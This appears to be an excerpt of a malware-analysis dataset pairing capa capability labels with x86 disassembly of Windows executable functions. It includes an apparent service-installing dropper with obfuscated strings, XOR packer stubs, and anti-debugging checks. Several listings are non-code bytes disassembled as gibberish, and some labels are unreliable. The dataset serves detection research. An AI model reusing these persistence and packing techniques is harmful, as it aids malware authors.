joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str.Pwumw_G_
call fcn.1000c6b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._QzqqmhSmlv__Wxqpfh_0XVbjkpu_xrf
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._QzqqmhSmlv__Wxqpfh_0XVbjkpu_xrf
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._QzqqmhSmlv__Wxqpfh_0XVbjkpu_xrf
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006220
push str._QzqqmhSmlv__Wxqpfh_0XVbjkpu_xrf
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._QzqqmhSmlv__Wxqpfh_0XVbjkpu_xrf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._QzqqmhSmlv__Wxqpfh_0XVbjkpu_xrf
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._QzqqmhSmlv__Wxqpfh_0XVbjkpu_xrf
push 0x10018c50
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._QzqqmhSmlv__Wxqpfh_0XVbjkpu_xrf
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x44a610
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push ebx
push 0x652f04
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
test eax, eax
je 0x44a62d
xor eax, eax
pop ebx
add esp, 0xc
ret
lea eax, [esp + 4]
mov ebx, 1
push eax
push ebx
push 0
push str.CLSIDB3EE7802_8224_4787_A1EA_F0DE16DEABD3InprocServer32
push 0x80000000
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov dword [0xa53200], eax
jne 0x44a6aa
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
push 0x652f04
push edx
push eax
mov dword [esp + 0x18], eax
push eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], 0x208
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov dword [0xa53200], eax
jne 0x44a692
cmp dword [esp + 8], ebx
je 0x44a694
xor bl, bl
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x44a6aa
xor eax, eax
pop ebx
add esp, 0xc
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0xa53200]
test ecx, ecx
jne 0x44a6cd
test eax, eax
jle 0x44a6c8
and eax, 0xffff
or eax, 0x80070000
mov dword [0xa53200], eax
mov eax, 0x80004005
pop ebx
add esp, 0xc
ret

Function at 0x44a6e0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
mov dword [esp + 8], 0
call fcn.0044a610
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
test esi, esi
je 0x44a753
lea eax, [esp + 0xc]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push str.IsWow64Process
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x44a753
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
test edi, edi
mov ebx, eax
je 0x44a74a
mov ecx, dword [0x652df4]
push 0x652b28
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea edx, [esp + 0xc]
push edx
push ebx
call esi
pop ebx
mov ecx, dword [esp + 8]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
add esp, 8
ret

Function at 0x4559d7
Capabilities:
Encode data using xor

Disassembly:
pop ds
invalid
sahf
xor al, 0xda
aad 0xe2
mov ebx, dword [eax + 0xee59f2f]
push edi
and cl, 0x3f
loope 0x455a18
loope 0x455a18
scasb al, byte es:[edi]
push esi
cmp eax, 0xbceeb70c
sub byte [eax], 0x2e
pop ss
jns 0x4559ca
fnstsw word [esi - 0x3a96a6d2]
mov bl, 0xbe
clc
out 0x58, eax
pop esi
ja 0x455a21
lea esi, [edi + eax + 0x7cbc6c04]
xchg ebp, eax
cmp dword [eax], esi
int3
dec ecx
je 0x455a28
sub ecx, esi
sub byte [0x5cfbdd4b], ch
sti
pop esp
mov dword [0x76f9cf6d], eax
loop 0x455a6f
jge 0x4559b0
lcall 0xf3bf, 0x152c4034
xchg ebp, eax
inc edx
js 0x455a5e
ret
cmp byte [eax + 0x6cd141b9], dh
pop edi
pop es
sar byte [ebp + 0x6a], 1
aas
fadd qword [ecx - 0x5a52ce23]
xor edx, dword [ebx + 0x52ee9d4a]
xor dword [ebp + 0x4a9333a5], ebp
popfd
out dx, al
push edx
retf 0x6aab
Function at 0x49dabd
Capabilities:
Encode data using xor

Disassembly:
lcall 0xe224, 0xf6dc2272
cmc
rcl cl, cl
loop 0x49db1a
jg 0x49dad1
stc
ret
pop ecx
push edi
push es
or al, byte [edi + 0x7796f7d1]
enter 0xffffffffffffcf1e, 0x55
sbb ah, 0x40
xchg dword [ebx + 5], esi
std
mov dl, 0x84
ret
invalid

Function at 0x4f7cf8
Capabilities:
Encode data using xor

Disassembly:
jg 0x4f7d78
in al, 0x33
pop ecx
jne 0x4f7d43
lcall 0xa8f3, 0x26acb3d3
mov ecx, 0x28d5a41c
test eax, 0x6d81186e
out 0x59, al
pop edi
add eax, 0x444028b
call 0x8f5ba10b
dec dword [edi + 0x60]
xor esi, dword [ecx - 0x23]
dec esi
pop ebx
cdq
outsb dx, byte [esi]
mov ch, 0xe1
test ch, ch
call 0xb1475f66
cli
lodsb al, byte [esi]
call 0xa88ce33c
cmp bl, dh
dec edi
cmp esp, ecx
sub ecx, 0x1f276254
invalid
int 0xe1
iretd
mul dword [ebx + edi - 0x6d]
hlt

Function at 0x4f8474
Capabilities:
Encode data using xor

Disassembly:
cld
inc eax
mov esi, 0xb96f1fc8
cld
insb byte es:[edi], dx
push ecx
pushfd
sbb dword [edi + 0x1a], ebp
jge 0x4f8428
aam 0xcb
pushfd
salc
fld xword [edx + 0x2fe9cdfc]
sub bh, bl
in al, 0x5d
pushal
adc byte [eax + 0x2f], ah
push eax
popfd
lea ebp, [edx]
xor dword [ecx], eax
jae 0x4f8506
sbb byte [esi], al
sub dh, al
fdiv dword [edi + 0x4124aed]
mov cl, 0x8b
popal
mov byte [0x3c5dd12e], al
sbb al, 0xe3
aas
push ebx
or al, 0xba
or eax, 0x49cbeb44
dec ecx
mov ecx, 0xb8bcbf60
push edx
clc
scasd eax, dword es:[edi]
in al, dx
cmp dword [eax - 0x717a0260], 0x18
push 0x803e850d
and byte [edx + 3], ch
or eax, 0x20803e85
push 3
push ebp
jl 0x4f851f
aaa
add ch, bl
adc eax, 0x16e30585
jb 0x4f84e9
shr bh, 1
jo 0x4f84b9
std
fcom dword [eax + 0x30fa9a44]
stosb byte es:[edi], al
ret
xor byte [edx - 0x542ff43d], ch
ret
imul ebp, dword [eax + 0x37], 0xffffff8f
pop ebp
pop esi
iretd
in eax, dx
pushal
stc
outsd dx, dword [esi]
mov ebx, 0x9ad517e0
sti
jno 0x4f856e
stosd dword es:[edi], eax
push ebx
mov bl, 0x61
invalid
pop esp
sar dword [ebx], cl
cmp ah, cl
outsb dx, byte [esi]
xchg edi, eax
das
sub bh, al
cwde
sub al, 0xdb
jp 0x4f84d0
mov dword [ebx + 0xc3d2655], edi
je 0x4f84f8
or eax, 0x51fe273a
jae 0x4f84cb
xor eax, 0xe2aafb60
pop ds
and eax, 0xb6cbc99b
mov esp, 0x713b7cb5
pop ds
jno 0x4f85b6
mov word [edx + 0xe], gs
pop ecx
lodsb al, byte ds:[esi]
sub dword [edi + 0x45], ecx
mov ebp, esp
insb byte es:[edi], dx
lahf
mov eax, 0xfbca5baa
or ch, 0xd6
invalid
xor bl, 0xb4
fbstp tbyte [eax]
insd dword es:[edi], dx
pop edi
and edi, dword [eax + 0x20]
ljmp 0xcafa
Function at 0x530dc6
Capabilities:
Encode data using xor

Disassembly:
pushal
jae 0x530dd6
cmp edx, eax
pushal
jb 0x530daa
cmp al, bl
pop edi
loopne 0x530d99
mov edi, 0x5c382234
invalid
jecxz 0x530db4
xchg edx, eax
sahf
hlt
cdq
inc byte [esi + 0x71]
sal byte [ebx], 1
invalid
push ebx
jno 0x530de5
xor dword [ebx - 0x2c], ebx
dec ebx
jecxz 0x530daf
loopne 0x530e06
cmp al, 0x74
pop edi
fistp qword [eax]
and bl, ah
jecxz 0x530d85
ret
mov eax, 0x578c6ef4
inc edi
or eax, 0xb8073219
or ecx, dword [ebx]
jecxz 0x530d85
ret
cmpsb byte [esi], byte es:[edi]
add esi, edx
not byte [ebx + 0x47]
clc
iretd
inc esp
aam 0xdf
or dword [eax - 0x32], esp
aaa
int1
popfd
jecxz 0x530e5a
in al, dx
jo 0x530e3a
mov al, byte [0xfa13629d]
adc ebp, dword [eax]
fld qword [ecx + 0x233bd693]
salc
cmp esp, dword [ebx]
cwde
fdiv qword [ecx - 0x1204de6d]
std
mov byte [0x3bf4ceb1], al
iretd

Function at 0x532cde
Capabilities:
Encode data using xor

Disassembly:
pop es
sbb dl, dh
insb byte es:[edi], dx
fcmovb st(0), st(3)
xor al, 0x8c
pushal
jecxz 0x532c8e
test eax, 0x22e1f2d6
mov ah, 0xa8
je 0x532c7a
movsb byte es:[edi], byte [esi]
int 0x71
rcl al, cl
arpl word [edx - 0xb2900c9], cx
xlatb
int1
xor eax, 0xbad40c48
xchg ebp, eax
or dword [ebp + 0x1a282768], ebx

Function at 0x5332c1
Capabilities:
Check for software breakpoints

Disassembly:
mov ax, word [0x5248b691]
aas
push eax
ret 0xd4b2
mov edx, 0x4b192173
sub eax, 0x5b26c1c4
invalid
xor dword [edx - 0x3ff5164d], esp
push 0x9a318138
mov dl, 0xf1
jno 0x533253
fld qword [eax + 3]
cwde
lahf
pushal
jb 0x53329b
invalid

Function at 0x5332f4
Capabilities:
Check for software breakpoints

Disassembly:
loop 0x53336a
lds edi, [ebp + 0x11]
invalid
mov eax, dword [0x2f22eb2]
pop ebp
mov al, 0x9f
mov al, 0xda
in eax, dx
ret

Function at 0x53330b
Capabilities:
Check for software breakpoints

Disassembly:
insb byte es:[edi], dx
sal ah, 0x9b
adc esp, dword [ecx - 0x77]
push ebp
sub dl, cl
ficom word [eax]
lea edx, [esi]
inc bl
invalid

Function at 0x57a4a8
Capabilities:
Encode data using xor

Disassembly:
out dx, al
jo 0x57a49d
xchg edi, eax
das
mov ebp, 0x4ed3c459
xor al, 0xac
mov esp, 0xf818f73b
mov bh, 0x71
out 0xe3, al
or dl, dl
mov ecx, 0x235c2abd
push esp
invalid
and dword [ecx + 0x7ad98b63], eax
sub eax, 0x83ee6cf6
imul byte [esi + ebp*8 - 0x7d]
inc edi
xor eax, 0xcf4fa464
ja 0x57a496
in eax, dx
in eax, dx
xchg ecx, eax
sbb al, 0x76
jg 0x57a440
fcom dword [edi]
or byte [ebp + 0xe], cl
cmp dword [eax], ecx
push edx
jbe 0x57a51e
mov ebp, 0xc9c7e7e1
cmpsd dword [esi], dword es:[edi]
xchg esp, eax
lcall 0xf7ab, 0xe2127617
stosb byte es:[edi], al
imul dword [edi + esi + 0xfeace6]
add dl, al
add dword [edi], esi
invalid
mov dword [0x6d66ac09], eax
xlatb
pushfd
pop ds
jb 0x57a565
push ss
push esi
jmp 0x9c7be74d

Function at 0x57ccd1
Capabilities:
Encode data using xor

Disassembly:
out 0x9f, eax
cmp byte [ecx - 0x5da02bad], 0xc7
dec ebp
mov ah, 0x92
jecxz 0x57cd51
xchg dword [edx + edx], ecx
nop
ja 0x57cd0b
push 0x453355bd
lahf
xor eax, dword [ebp - 0x61]
xchg edi, eax
push esp
xor eax, 0xc974843c
daa
jb 0x57cce8
sub eax, 0x5cda4958
stosd dword es:[edi], eax
insb byte es:[edi], dx
pop es
cmp eax, 0x1d9786b7
invalid
Function at 0x5c78b8
Capabilities:
Encode data using xor

Disassembly:
dec ebp
popfd
or dl, byte [0xfcbcaa13]
push 0x2f499871
sub eax, 0xaf121f62
dec ebx
popfd
fisub dword [ecx + ebp + 0x3a]
cmp cl, ah
mov dword [0x3fef2b7d], eax
dec ecx
xchg esi, eax
fisub dword [ebp - 0x63]
mov edi, 0x3ad37e82
cld
dec ebx
xor byte [ebx + ebx - 0x1757e692], ch
lodsb al, byte [esi]
sbb ebp, dword [esi + 0x19]
test al, 0xe8
lodsd eax, dword [esi]
cmpsd dword [esi], dword es:[edi]
mov edi, 0x7d9e463c
fdiv st(7)
mov al, byte [0xeb12cf0c]
lodsb al, byte [esi]
jecxz 0x5c77ec
in al, dx
inc edi
jo 0x5c7860
cmp ebp, dword [edi]
and ah, dh
invalid
push 0x41
int3
jecxz 0x5c7819
push 0x334d3206
mov ah, 0xb8
cli
push 0x3c9c4f6a
inc ebx
mov ch, 0x7b
bound ebx, qword [ebp + 0x2f]
fist word [edx]
lodsb al, byte [esi]
fimul dword [ebp - 0x63dc6317]
or dword [eax + 0x16], eax
sub al, 0xef
or eax, 0xf49267da
inc ebp
invalid
or ecx, dword [esi + 0x50]
cmp esp, esi
sbb bh, byte [eax - 0x77]
or dword [ecx + 0x79], 0xffffffd7
and bh, byte [ebx + 0x1a]
jl 0x5c787f
or al, 0xa6
js 0x5c78ce
ret

Function at 0x612537
Capabilities:
Encode data using xor

Disassembly:
cli
mov ah, 0x5b
cmp edi, dword [edi - 0x2f59356b]
xchg edx, eax
add ecx, dword [ebx - 0x4f]
dec ebx
mov bl, 0x8e
pop eax
enter 0x2a94, 0xfffffffffffffffa
cwde
test dword [edx + 0x1495d124], ebx
xchg byte [esp + ebx*2 + 0x2e9bb141], dh
mov cl, 0xb5
invalid
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
mov edx, dword [eax]
cmp dword [eax + 4], edx
je 0x40107a
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [eax]
mov bl, byte [ecx]
xor bl, byte [edx]
mov esi, dword [eax + 4]
mov byte [edi], bl
mov eax, dword [ebp + 0xc]
mov edi, dword [eax]
mov edx, dword [eax + 4]
sub edx, edi
cmp edx, 2
jb 0x40107a
sub esi, ecx
mov ebx, 1
mov edx, 1
nop dword [eax]
cmp edx, esi
mov eax, 0
cmovae edx, eax
mov eax, edx
and eax, 0xfffffffc
mov ecx, dword [ebp + 0x10]
add eax, dword [ecx]
mov ecx, edx
and ecx, 3
movzx eax, byte [ecx + eax]
xor al, byte [edi + ebx]
mov ecx, dword [ebp + 8]
mov byte [ecx + ebx], al
add edx, 1
add ebx, 1
mov eax, dword [ebp + 0xc]
mov edi, dword [eax]
mov eax, dword [eax + 4]
sub eax, edi
cmp ebx, eax
jb 0x401040
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x414de4
Capabilities:
Encode data using xor

Disassembly:
xor dword [ecx], ebx
dec edx
add ecx, 4
cmp ecx, eax
jne fcn.00414de4
sub esi, 1
mov edx, edi
dec esi
ret
Function at 0x40d8ee
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
mov esi, 0x353d4217
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x6d152e97
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4320c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4012a3
Capabilities:
Hide graphical window

Disassembly:
push ebp
push 0x10000
push 0x1000
push 1
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x403df4], eax
push 0x64
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 0x30
push eax
mov dword [eax], ecx
add eax, 0x4c
mov ebp, eax
mov eax, 0x400000
mov dword [0x403df0], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0x4011a6
mov dword [ebp - 0x24], str.cognomen
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor eax, eax
push eax
push dword [0x403df0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.invocatory
push str.cognomen
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403df8], eax
push eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40136d
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401354
mov eax, dword [0x403df4]
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
pop ebp
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x28431a16
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x68618ee
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x414de8
Capabilities:
Encode data using xor

Disassembly:
xor dword [esi], ecx
add esi, 4
inc eax
cmp esi, edx
jne fcn.00414de8
or edi, ebx
ret
Function at 0x4e79c0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
lea edi, [ebp - 0xd8]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x574234
call fcn.0046464e
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0x14], 0
jmp 0x4e7a01
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jge 0x4e7a2f
mov eax, dword [ebp - 8]
shr eax, 8
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x14]
movzx edx, byte [ecx]
mov ecx, dword [ebp - 8]
and ecx, 0xff
xor edx, ecx
xor eax, dword [edx*4 + 0x5648c8]
mov dword [ebp - 8], eax
jmp 0x4e79f8
mov eax, dword [ebp - 8]
not eax
pop edi
pop esi
pop ebx
add esp, 0xd8
cmp ebp, esp
call fcn.00464018
mov esp, ebp
pop ebp
ret
Function at 0x512b70
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
lea edi, [ebp - 0x110]
mov ecx, 0x44
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x56666c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x57425b
call fcn.0046464e
mov esi, esp
push 0
mov edi, esp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp edi, esp
call fcn.00464018
push eax
push 0
push 0
push 1
push 1
push 0
push 0
push 0x6000000
push str.GLFW_message_window
push str.GLFW30
push 0x300
call dword [sym.imp.USER32.dll_CreateWindowExW]
cmp esi, esp
call fcn.00464018
mov dword [0x56e1f0], eax
cmp dword [0x56e1f0], 0
jne 0x512c0c
push str.Win32:_Failed_to_create_helper_window
push 0x10008
call fcn.004632bc
add esp, 8
xor eax, eax
jmp 0x512cd4
mov esi, esp
push 0
mov eax, dword [0x56e1f0]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp esi, esp
call fcn.00464018
push 0x20
push 0
lea eax, [ebp - 0x4c]
push eax
call fcn.004639e2
add esp, 0xc
mov dword [ebp - 0x4c], 0x20
mov dword [ebp - 0x48], 5
mov eax, dword [0x55af18]
mov dword [ebp - 0x40], eax
mov ecx, dword [0x55af1c]
mov dword [ebp - 0x3c], ecx
mov edx, dword [0x55af20]
mov dword [ebp - 0x38], edx
mov eax, dword [0x55af24]
mov dword [ebp - 0x34], eax
mov esi, esp
push 0
lea eax, [ebp - 0x4c]
push eax
mov ecx, dword [0x56e1f0]
push ecx
call dword [sym.imp.USER32.dll_RegisterDeviceNotificationW]
cmp esi, esp
call fcn.00464018
mov dword [0x56e1f4], eax
mov esi, esp
push 1
push 0
push 0
mov eax, dword [0x56e1f0]
push eax
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.USER32.dll_PeekMessageW]
cmp esi, esp
call fcn.00464018
test eax, eax
je 0x512ccf
mov esi, esp
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
cmp esi, esp
call fcn.00464018
mov esi, esp
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
cmp esi, esp
call fcn.00464018
jmp 0x512c84
mov eax, 1
push edx
mov ecx, ebp
push eax
lea edx, [0x512d04]
call fcn.00463dd4
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046399c
add esp, 0x110
cmp ebp, esp
call fcn.00464018
mov esp, ebp
pop ebp
ret
Function at 0x515ab0
Capabilities:
Register raw input devices

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
push ebx
push esi
push edi
lea edi, [ebp - 0xd4]
mov ecx, 0x35
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x574264
call fcn.0046464e
mov eax, 1
mov word [ebp - 0x10], ax
mov eax, 2
mov word [ebp - 0xe], ax
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0
mov esi, esp
push 0xc
push 1
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_RegisterRawInputDevices]
cmp esi, esp
call fcn.00464018
test eax, eax
jne 0x515b25
push str.Win32:_Failed_to_remove_raw_input_device
push 0x10008
call fcn.004632bc
add esp, 8
push edx
mov ecx, ebp
push eax
lea edx, [0x515b4c]
call fcn.00463dd4
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0xd4
cmp ebp, esp
call fcn.00464018
mov esp, ebp
pop ebp
ret

Function at 0x515c70
Capabilities:
Register raw input devices

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
push ebx
push esi
push edi
lea edi, [ebp - 0xd4]
mov ecx, 0x35
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x574264
call fcn.0046464e
mov eax, 1
mov word [ebp - 0x10], ax
mov eax, 2
mov word [ebp - 0xe], ax
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x2a4]
mov dword [ebp - 8], ecx
mov esi, esp
push 0xc
push 1
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_RegisterRawInputDevices]
cmp esi, esp
call fcn.00464018
test eax, eax
jne 0x515cea
push str.Win32:_Failed_to_register_raw_input_device
push 0x10008
call fcn.004632bc
add esp, 8
push edx
mov ecx, ebp
push eax
lea edx, [0x515d10]
call fcn.00463dd4
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0xd4
cmp ebp, esp
call fcn.00464018
mov esp, ebp
pop ebp
ret
Function at 0x516900
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
lea edi, [ebp - 0xcc]
mov ecx, 0x33
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x574264
call fcn.0046464e
mov dword [ebp - 8], 0
mov esi, esp
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
cmp esi, esp
call fcn.00464018
cwde
and eax, 0x8000
je 0x516951
mov eax, dword [ebp - 8]
or eax, 1
mov dword [ebp - 8], eax
mov esi, esp
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
cmp esi, esp
call fcn.00464018
cwde
and eax, 0x8000
je 0x516973
mov eax, dword [ebp - 8]
or eax, 2
mov dword [ebp - 8], eax
mov esi, esp
push 0x12
call dword [sym.imp.USER32.dll_GetKeyState]
cmp esi, esp
call fcn.00464018
cwde
and eax, 0x8000
je 0x516995
mov eax, dword [ebp - 8]
or eax, 4
mov dword [ebp - 8], eax
mov esi, esp
push 0x5b
call dword [sym.imp.USER32.dll_GetKeyState]
cmp esi, esp
call fcn.00464018
movsx esi, ax
mov edi, esp
push 0x5c
call dword [sym.imp.USER32.dll_GetKeyState]
cmp edi, esp
call fcn.00464018
cwde
or esi, eax
and esi, 0x8000
je 0x5169ce
mov eax, dword [ebp - 8]
or eax, 8
mov dword [ebp - 8], eax
mov esi, esp
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
cmp esi, esp
call fcn.00464018
cwde
and eax, 1
je 0x5169ee
mov eax, dword [ebp - 8]
or eax, 0x10
mov dword [ebp - 8], eax
mov esi, esp
push 0x90
call dword [sym.imp.USER32.dll_GetKeyState]
cmp esi, esp
call fcn.00464018
cwde
and eax, 1
je 0x516a11
mov eax, dword [ebp - 8]
or eax, 0x20
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.00464018
mov esp, ebp
pop ebp
ret
Function at 0x4012f0
Capabilities:
Get common file path

Disassembly:
cmp byte [0x4656cc], 0
jne 0x401346
push 0x4655c8
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, 0x4655c8
lea edx, [ecx + 1]
mov al, byte [ecx]
